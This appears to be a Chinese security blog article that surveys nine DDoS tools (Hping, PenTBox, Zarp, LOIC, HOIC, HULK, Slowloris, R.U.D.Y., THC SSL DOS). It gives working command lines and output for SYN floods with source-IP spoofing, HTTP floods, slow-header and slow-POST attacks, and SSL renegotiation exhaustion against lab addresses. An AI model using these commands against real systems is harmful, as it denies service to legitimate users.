DDoS 攻击的工具
一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
微信公众号:计算机与网络安全
ID:Computer-network
出于商业竞争、黑客行动主义以及网络敲诈等多种因素,DDoS攻击事件正在呈上升趋势。而随着新式智能开源DDoS攻击工具不断发布,攻击的实施变得越来越容易,由此带来的威胁也变得比以往更为严重。
本文将介绍一些常用的攻击工具。这些工具出现的时间长短不一,在具体介绍它们之前,首先来看这些工具出现的时间和先后顺序(见下图),对工具的演变和发展历程有一个大概的了解。
DDoS工具时间线
在这些DDoS攻击工具中,一些因为被知名黑客组织作为御用攻击工具而广为人知,如LOIC;另一些则是由某些知名安全研究人员和研究组织发布的,如HULK等。安全研究人员发布工具的初衷往往是善意的,目的是让用户抢先于黑客发现并修补自身问题,或提供给用户进行压力测试等。但任何事物都有两面性,如果攻击者使用工具,则有可能会对现实的网络安全产生巨大威胁。
这些攻击工具分为综合性工具、压力测试工具和专业攻击工具三类,下面对每个工具进行具体介绍。
一、综合性工具
综合性工具除了可以进行DDoS攻击外,还能用于其他用途,如端口扫描、安全审计以及防火墙测试等。实际上,大部分综合性工具开发的原始目的并不是用于进行DDoS攻击的,而更多的是充当着“多面手”的网络检查和测试工具。
综合性工具包括Hping、PenTBox和Zarp。
(一)Hping
Hping由Salvatore Sanfilippo创建于2004年,是一个编码和解析TCP/IP协议的命令行开源工具,常用于测试网络及主机的安全,同时也是安全审计、防火墙测试等工作的标配工具。Hping的命令行形式很像常用的Ping命令,不同的是,它不仅能发送ICMP请求,而且支持TCP、UDP以及RAW-IP等协议。Hping的特色在于能够定制数据包的各部分,因此用户可以更灵活地对目标主机进行细微探测。
Hping也常常被用作网络攻击工具。使用Hping可以很方便地构建DoS攻击,如ICMP洪水攻击、UDP洪水攻击以及SYN洪水攻击等。正因如此,它曾是黑客组织Anonymous早期发动网络攻击时常用的工具之一。
Hping可在Linux、FreeBSD、NetBSD、OpenBSD、Solaris、Mac OS X、Windows等多种平台上运行。新版本支持使用TCL脚本来描述TCP/IP协议各字段,这使得构造和分析数据变得更加方便。
Hping的常用功能包括网络压力测试、防火墙测试和端口扫描等。下面结合实例给出利用Hping进行网络压力测试的常见方法,更多用法可参考其帮助手册。
这里以Syn FLOOD攻击为例。
[root@Fedora ~]# hping3 -i u1 -S -p 80 192.168.65.160
HPING 192.168.65.160 (p3p1 192.168.65.160): S set, 40 headers + 0 data bytes
len=46 ip=192.168.65.160 ttl=128 DF id=31869 sport=80 flags=SA seq=0 win=64320 rtt=34.4 ms
len=46 ip=192.168.65.160 ttl=128 DF id=31870 sport=80 flags=SA seq=1 win=64320 rtt=35.8 ms
len=46 ip=192.168.65.160 ttl=128 DF id=31871 sport=80 flags=SA seq=2 win=64320 rtt=36.4 ms
len=46 ip=192.168.65.160 ttl=128 DF id=31872 sport=80 flags=SA seq=3 win=64320 rtt=32.6 ms
len=46 ip=192.168.65.160 ttl=128 DF id=31873 sport=80 flags=SA seq=4 win=64320 rtt=33.0 ms
len=46 ip=192.168.65.160 ttl=128 DF id=31874 sport=80 flags=SA seq=5 win=64320 rtt=33.1 ms
其中,-i u1参数表示每个数据包发送间隔为1微秒,参数-S表示设置SYN标识,参数-p 80表示设置数据包的目标端口为80。
使用-c参数可以指定收发数据包的个数,这里指定发送10个数据包:
[root@Fedora ~]# hping3 -c 10 -i u1 -S -p 80 192.168.65.160
HPING 192.168.65.160 (p3p1 192.168.65.160): S set, 40 headers + 0 data bytes
--- 192.168.65.160 hping statistic ---
10 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
使用-a参数可以进行源IP地址的伪造:
[root@Fedora ~]# hping3 -a 1.2.3.4 -i u1 -S -p 80 192.168.65.160HPING 192.168.65.160 (p3p1 192.168.65.160): S set, 40 headers + 0 data bytes
^C
--- 192.168.65.160 hping statistic ---
39606 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
当然也可以使用可交互shell借助TCL脚本来描述上述攻击行为:
[root@Fedora ~]# hping
hping3> while 1 { hping send
"ip(saddr=1.2.3.4,daddr=192.168.65.160)+tcp(sport=4321,dport=80,flags=s)" }
除了进行DDoS攻击外,Hping还具有一些其他的网络测试功能,例如防火墙测试和端口扫描等。
(二)PenTBox
PenTBox最早出现于2009年,是一款免费的开源安全工具套装。它基于Ruby开发,面向GNU/Linux系统,且兼容Windows、Mac OS、Android等系统,主要用于帮助安全人员对网络、系统的安全性和稳定性进行测试。但它常被用作黑客工具套件,尤其是它提供的Net DoS Test(网络压力测试)。
其主体功能分三部分:
密码算法工具
网络工具(压力测试、溢出攻击)
Web安全测试工具
下面是PenTBox运行时的命令行界面,使用过溢出工具包Metasploit的用户对此应该不会陌生,因为它们有着相似的操作流程。
[root@Fedora pentbox-1.5]# ./pentbox.rb
PenTBox 1.5
__
U00U|.'@@@@@@`.
|__|(@@@@@@@@@@)
(@@@@@@@@)
`YY~~~~YY'
--------- Menu ruby1.9.3 @ i386-linux
1- Cryptography tools
2- Network tools
3- Web
4- License and contact
5- Exit
-> 2
1- Net DoS Tester
2- TCP port scanner
3- Honeypot
4- Fuzzer
5- DNS and host gathering
6- MAC address geolocation (samy.pl)
0- Back
虽然是命令行形式,但由于工具有良好的交互式菜单,即便是初学者也非常容易上手,并可以获得很好的使用体验。这是因为PenTBox非常清晰地对菜单进行了分类,每一大类都包含与之相关的若干工具,例如编号2网络工具类中就包含了与网络压力测试相关的功能。
这里演示了网络压力测试中的SYN FLOOD洪水攻击的用法,PenTBox对这种攻击还提供了伪造源地址的功能。
1- Net DoS Tester
2- TCP port scanner
3- Honeypot
4- Fuzzer
5- DNS and host gathering
6- MAC address geolocation (samy.pl)
0- Back
-> 1
// Net DoS Tester //
| Attacks
1- Spoofed SYN Flood Native (Raw Sockets, better, faster)
2- Spoofed SYN Flood hping3 (Must have installed hping3)
3- TCP Flood
| Exploits
4- [other/http] 3Com SuperStack Switch DoS
5- [other/http] 3Com OfficeConnect Routers DoS (Content-Type)
6- [windows/ftp] Windows 7 IIS7.5 FTPSVC UNAUTH'D DoS
7- [windows/ftp] Solar FTP Server 2.1 DoS
8- [windows/pptp] MS02-063 PPTP Malformed Control Data Kernel DoS
9- [windows/smb] Windows Vista/7 SMB2.0 Negotiate Protocol Request DoS BSOD
-> 1
Insert host to DoS.
-> 192.168.65.160
Insert port to DoS.
-> 80
Insert source address of the packets
(press enter for random sources).
->
[*] DoSing 192.168.65.160 on port 80
Number of Spoofed SYN sent -> 4564 (rand src) ^C
[*] EXITING ...
(三)Zarp
Zarp是一款采用Python编写的开源网络攻击测试集成工具,出现于2012年,开发的初衷是帮助渗透测试人员很好地进行工作。该工具模块化,集多种嗅探、DoS攻击压力测试于一身。目前Zarp的运行平台仅限于Linux,在安装之前要确保系统已经安装了Python 2.7.x、Git以及Scapy。
Zarp的主要接口是一个CLI驱动的图形界面,由于采用交互式菜单,使用起来相当方便。下面演示的是使用Zarp进行SYN洪水攻击。
[root@Fedora zarp]# ./zarp.py
[!] IPv4 forwarding disabled. Enabling..
[!] Loaded 33 modules.
____ __ ____ ____
(__ ) / _\ ( _ \( _ '
/ _/ / \ ) / ) __/
(____)\_/\_/(__\_)(__)
[Version 0.1.3]
[1] Poisoners [5] Parameter
[2] DoS Attacks [6] Services
[3] Sniffers [7] Attacks
[4] Scanners [8] Sessions
0) Back
> 2
[1] DHCP Starvation
[2] LAND DoS
[3] IPv6 Neighbor Discovery Protocol RA DoS
[4] Nestea DoS
[5] SMB2 DoS
[6] TCP SYN
[7] IPv6 Neighbor Unreachability Detection DoS
[8] Linux 2.6.36 - 3.2.1 IGMP DoS
0) Back
> 6
[+] Enter [ip:port]: 192.168.65.100:80
[+] Flood host '192.168.65.100:80'. Is this correct?
[!] Flooding '192.168.65.100:80'...
二、压力测试工具
压力测试工具通常用来确定系统或网络的性能瓶颈,人们使用压力测试工具对系统和网络进行调试,从而了解性能上限。为了测试极限状况下的承载能力,网络压力测试工具会尽可能快速地发送数据包和请求,因此这些工具也能够用作DDoS攻击工具。
下面介绍的压力测试工具包括LOIC、HOIC和HULK。
(一)LOIC
LOIC(Low Orbit Ion Cannon,低轨道离子炮)最早出现于2009年,是一款开源的网络压力测试工具,最初由Praetox公司开发。
离子炮。
在著名的RTS游戏《命令与征服》泰伯利亚系列中,离子炮一直是全球防御组织(Global Defence Initiative,GDI)的超级武器。
离子炮的发射平台是在太空部署的离子炮卫星,它可以对地面甚至太空的物体进行打击。离子炮的弹药是宇宙中大量不带电子的氢离子。离子炮可以将这种高能氢离子发射出去。离子炮对地攻击时首先发射大量电子束“软化”大气层,为下一步的攻击做准备(副作用是会导致暴风雨天气),之后会发射高能氢离子进行大规模破坏。离子炮的电源就是太阳能电池板,实际上在离子炮卫星上一直都有巨大的太阳能电池板为离子炮攻击进行准备。
在现实生活中,根据联合国的条约,严禁各国在太空部署高能粒子武器,所以一直没有人进行这种实验,这种武器在现实中威力有多大还不为人知。
LOIC是一种淹没式工具,会产生大量的流量,以期最大化利用目标网络或应用资源,使其对合法用户的服务水平劣化。下图是LOIC工具的PC版运行界面。
LOIC工具PC版运行界面
LOIC可以运行于多种平台,包括GNU/Linux、Windows、Mac OS以及Android等。该工具对目标可以实施TCP、UDP以及HTTP GET洪水攻击。
LOIC曾经深受黑客组织Anonymous的喜爱,被多次用于攻击活动中。例如,在2010年12月8日至10日发动的对反对维基解密的公司和机构的攻击活动中,该工具就被下载了30000次以上,造成许多攻击目标拒绝服务。
LOIC具有友好的界面,即便计算机初学者也很容易上手。虽然单台主机就可以发动攻击,但如果想要产生足以击垮目标服务端的海量请求,则需要借助数千台指向同一目标的主机以制造实际的影响。显然,让一名管理员控制对选定目标的攻击可以使整个过程更有效。因此,在最新LOIC版本中添加了一个可以连接IRC服务端的功能,这样在选定的IRC频道上,就可以将来自世界各地的攻击者聚集到一个平台,共同交流讨论攻击计划并展开攻击。
LOIC的不足之处是它不能伪造源IP地址,而使用真实IP地址,如果攻击不是通过某个匿名网络进行的,那么追踪背后的攻击者将成为可能。出于这个原因,Anonymous在近几年已停止使用LOIC工具。
(二)HOIC
HOIC(High Orbit Lon Cannon,高轨道离子炮)是一款基于HTTP协议的开源DDoS工具,它最早出现于2011年。HOIC主要用于内部网络或外部服务器安全性和稳定性测试等,和LOIC一样也是黑客组织Anonymous最常用的网络攻击工具。该工具可多平台运行,包括GNU/Linux、Windows、Mac OS等。
HOIC能够发动高速多线程的HTTP FLOOD洪水攻击,同时内置脚本引擎,允许自行修改设置脚本,提供更大的灵活性。
HOIC可以单机实施攻击,但如果要使攻击效果更为显著,仍然需要大量、分散的主机协同工作。下图是工具运行后的主界面。
HOIC工具运行主界面
虽然HOIC没有LOIC工具功能丰富(HOIC只有HTTP FLOOD洪水攻击选项),但却以极强的可配置化(.hoic脚本)著称,并且可以自由选择攻击强度(高、中、低)。下图显示的是HOIC的配置选项。
配置攻击参数
HOIC的缺点在于它无法改变攻击端口,同时,由于不支持代理,也无法做到隐藏攻击来源的IP地址。
(三)HULK
HULK(Http Unbearable Load King)是Imperva的首席安全工程师Barry Shteiman于2012年发布的一款基于python的Web压力测试工具。
绿巨人。
绿巨人(The Hulk)是漫威漫画公司创造出的虚拟人物。物理学家罗柏特·布鲁斯·班纳(Robert Bruce Banner)博士在意外受自己制造出的伽马炸弹(Gamma Bomb)放射线污染后,变成了名为绿巨人的愤怒怪物。在愤怒之时就会变成狂暴的绿巨人,变成绿巨人后防御力极高,力量足以掀翻坦克。由于绿巨人时常造成毁灭性的破坏,因此成为警方与有关单位追捕的对象。
HULK通过启动500线程(程序默认预置)对目标发起高频率HTTP GET FLOOD请求,其独特之处在于每次请求都是独一的(这点可以从其Python源码中看出),以期绕过服务端采取的缓存措施,使请求能够真正得到处理。同时,HULK还能够进行User-Agent和referer的伪造,以达到更好的攻击效果。
与其他压力测试工具类似,HULK也可以单机执行,但为了使攻击效果最大化,依然需要同时发动多台主机,对目标产生海量请求数据包。HULK使用Python语言编写,有Python运行环境即可,同时对获得的源码进行更改和优化也非常方便。下面是使用HULK进行攻击的示例。
D:\hulk>hulk.py
---------------------------------------------------
USAGE: python hulk.py <url>
you can add "safe" after url, to autoshut after dos
---------------------------------------------------
D:\hulk>hulk.py http://192.168.65.100/upload/forum.php safe
-- HULK Attack Started --
101 Requests Sent
三、专业攻击工具
与前面两类工具有所不同,专业攻击工具的开发目的从一开始就是进行DDoS攻击的验证、演示甚至实际攻击。这类攻击工具并不以效率取胜,而是利用精巧的设计和所发现的协议缺陷来达到拒绝服务的效果。
下面介绍的专业攻击工具包括Slowloris、R.U.D.Y.和THC SSL DOS。
(一)Slowloris
Slowloris是一个Perl程序,有Perl运行环境即可。
懒猴。
懒猴(Slow loris)是一种小型的猴类动物。它畏光怕热,白天在树洞、树干上抱头大睡,鸟啼兽吼也无法惊醒它。它的动作非常缓慢,多为攀爬式运动,不会跳跃,走一步似乎要停两步。曾有人做过观察,发现懒猴挪动一步需要12秒。只有在受到攻击时,懒猴的动作才有所加快。
懒猴动作虽然慢,但也有保护自己的绝招。由于它一天到晚很少活动,地衣或藻类植物得以不断吸收它身上散发出来的水汽和碳酸气,在它身上繁殖、生长,把它严严实实地包裹起来,使它有了和生活环境色彩一致的保护衣,很难被天敌发现。
Slowloris的使用非常简单,攻击过程一般分成两步。首先是对目标进行探测。
[root@Fedora Downloads]# ./slowloris.pl -dns 192.168.65.160 -port 80 -test
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Defaulting to a 5 second tcp connection timeout.
Multithreading enabled.
This test could take up to 14.3666666666667 minutes.
Connection successful, now comes the waiting game...
Trying a 2 second delay:
Worked.
Trying a 30 second delay:
Worked.
Trying a 90 second delay:
Worked.
Trying a 240 second delay:
Worked.
探测的目的主要是获取目标服务器连接超时时间,当目标服务器超时时间小于166秒时,工具运行会出现异常,所以建议选择超时时间大于200秒以上的目标。
其次,在探测成功结束后,就可以开始实施攻击了。
[root@Fedora Downloads]# ./slowloris.pl -dns 192.168.65.160 -port 80 -timeout 200
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Defaulting to a 5 second tcp connection timeout.
Defaulting to 1000 connections.
Multithreading enabled.
Connecting to 192.168.65.160:80 every 200 seconds with 1000 sockets:
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Sending data.
Current stats: Slowloris has now sent 368 packets successfully.
This thread now sleeping for 200 seconds...
下面解释最后一个参数timeout的设置。它指定了单个连接的超时时间,依据前面的探测选择合适的值,这里为200秒。
Slowloris运行过程中会创建数百个socket,但由于Windows系统(XP SP2及以上)对socket套接字数进行了限制,所以在类UNIX平台上的攻击效果更好。虽然单台主机就可以发动攻击,但为了使攻击效果更有成效,最好选择数台主机并发执行。
正如在《DDoS 攻击的方法》中所提到的,Slowloris的缺点在于它并不是对所有Web服务端都有效,所以在使用前还需探测目标服务的类型和版本。目前确认受到影响的平台包括Apache 1.x、Apache 2.x、dhttpd、GoAhead WebServer以及Squid,而不受影响的服务端包括IIS6.0、IIS7.0等。完整列表可以参看官方网站。
(二)R.U.D.Y.
R.U.D.Y.名称源于“死神之子”(Children of Bodom)乐队专辑“Are You Dead Yet?”,最早出现于2011年。它采用一种称为慢速HTTP POST请求的方式对给定目标发动攻击。
与前面提到的Slowloris利用请求的header部分有所不同,R.U.D.Y.利用了请求的body部分。之所以攻击能够奏效,是因为服务端会根据Content-Length字段的值持续等待,直到客户端数据发送完毕。
R.U.D.Y.使用Python语言编写,可移植性非常好,有Python运行环境即可。它有两种执行方式,接下来分别介绍。
1、配置文件
R.U.D.Y.可以通过读取自带的配置文件rudeadyet.conf来获取攻击参数。攻击开始前,需要攻击者完善相应的参数字段,如攻击目标、开启的连接数等。
[parameters]
URL: http://www.victim.com/path-to-post-url.php
number_of_connections: 500
attack_parameter: login
proxy_addr: ""
proxy_port: 0
在填写好相应的攻击参数后,即可直接开始攻击。
[root@Fedora rudy]# ./r-u-dead-yet-v2.2.py
[!] Using configuration file
[!] Attacking: http://192.168.65.100/upload/forum.php
[!] With parameter: ls_username
2、交互式菜单
R.U.D.Y.还可以通过智能的交互控制菜单来运行。它会自动探测并列出给定URL的可用攻击表单,用户只需简单选择即可。
[root@Fedora rudy]# ./r-u-dead-yet-v2.2.py http://192.168.65.100/upload/forum.php
Found 2 forms to submit. Please select number of form to use:
1 ) http://192.168.65.100/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes
2 ) http://192.168.65.100/search.php?searchsubmit=yes
> 1
Found 4 parameters to attack. Please select number of parameter to use:
1 ) ls_username
2 ) ls_password
3 ) quickforward
4 ) handlekey
> 4
Number of connections to spawn: (default=50)
>
Use SOCKS proxy? [yes/no] (Default=no)
>
与Slowloris相比,R.U.D.Y.能够对所有类型的Web服务端软件造成影响,因此其攻击的威胁更大。
(三)THC SSL DOS
德国黑客组织“The Hacker’s Choice”在2011年发布了一款DoS工具:THC SSL DOS。它可运行于多种平台,包括GNU/Linux、Windows、Mac OS等。与传统DDoS工具不同的是,它利用SSL中的已知弱点而使其拒绝服务,需要的所有装备仅是一台连网的计算机。之所以能够实现,是因为这种攻击是非对称的,一次客户请求就可以让服务端投入相当于客户端15倍的CPU资源进行处理。
THC SSL DOS工具运行后,会主动探测攻击目标是否开启了renegotiation机制,若目标服务器启用了renegotiation机制,攻击则可顺利进行。
D:\thc-ssl-dos>thc-ssl-dos.exe --accept 192.168.65.160 443
______________ ___ _________
\__ ___/ | \ \_ ___ \
| | / ~ \/ \ \/
| | \ Y /\ \____
|____| \___|_ / \______ /
\/ \/
http://www.thc.org
Twitter @hackerschoice
Greetingz: the french underground
Waiting for script kiddies to piss off................
The force is with those who read the source...
Handshakes 0 [0.00 h/s], 1 Conn, 0 Err
Handshakes 46 [86.63 h/s], 88 Conn, 0 Err
Handshakes 151 [105 h/s], 162 Conn, 0 Err
Handshakes 187 [35.43 h/s], 191 Conn, 0 Err
Handshakes 206 [19.00 h/s], 203 Conn, 0 Err
Handshakes 250 [44.00 h/s], 222 Conn, 0 Err
Handshakes 270 [19.70 h/s], 237 Conn, 0 Err
Handshakes 302 [32.00 h/s], 253 Conn, 0 Err
而如果目标禁用或启用安全的renegotiation,则会提示攻击失败。
D:\thc-ssl-dos>thc-ssl-dos.exe --accept 192.168.65.100 443
______________ ___ _________
\__ ___/ | \ \_ ___ \
| | / ~ \/ \ \/
| | \ Y /\ \____
|____| \___|_ / \______ /
\/ \/
http://www.thc.org
Twitter @hackerschoice
Greetingz: the french underground
Waiting for script kiddies to piss off................
The force is with those who read the source...
Handshakes 0 [0.00 h/s], 1 Conn, 0 Err
Handshakes 0 [0.00 h/s], 7 Conn, 0 Err
Handshakes 0 [0.00 h/s], 71 Conn, 0 Err
Handshakes 0 [0.00 h/s], 83 Conn, 0 Err
ERROR: Target has disabled renegotiations.
Ask THC (members@thc.org) for the private release of this tool
to test/attack the target.
利用THC SSL DOS工具,一台性能和带宽中等的主机就可以挑战高性能服务器,攻击效果非常明显。
四、结语
本文对9种常见的DDoS攻击工具及其基本用法进行了介绍。介绍的工具大多是“绿色”的,下载解压就可以执行,不需要安装,这对工具的传播提供了很大的便利条件。此外,这些工具在保持攻击威力不断增强的同时,易用性方面也在不断提高,免费和开源降低了下载和使用工具的门槛,这对黑客行动主义更是推波助澜。这些因素的叠加,极大地促进了类似Anonymous这样的黑客组织快速发展和壮大。随着攻防对抗的升级,工具的智能化进程不会停止。
微信公众号:计算机与网络安全
ID:Computer-network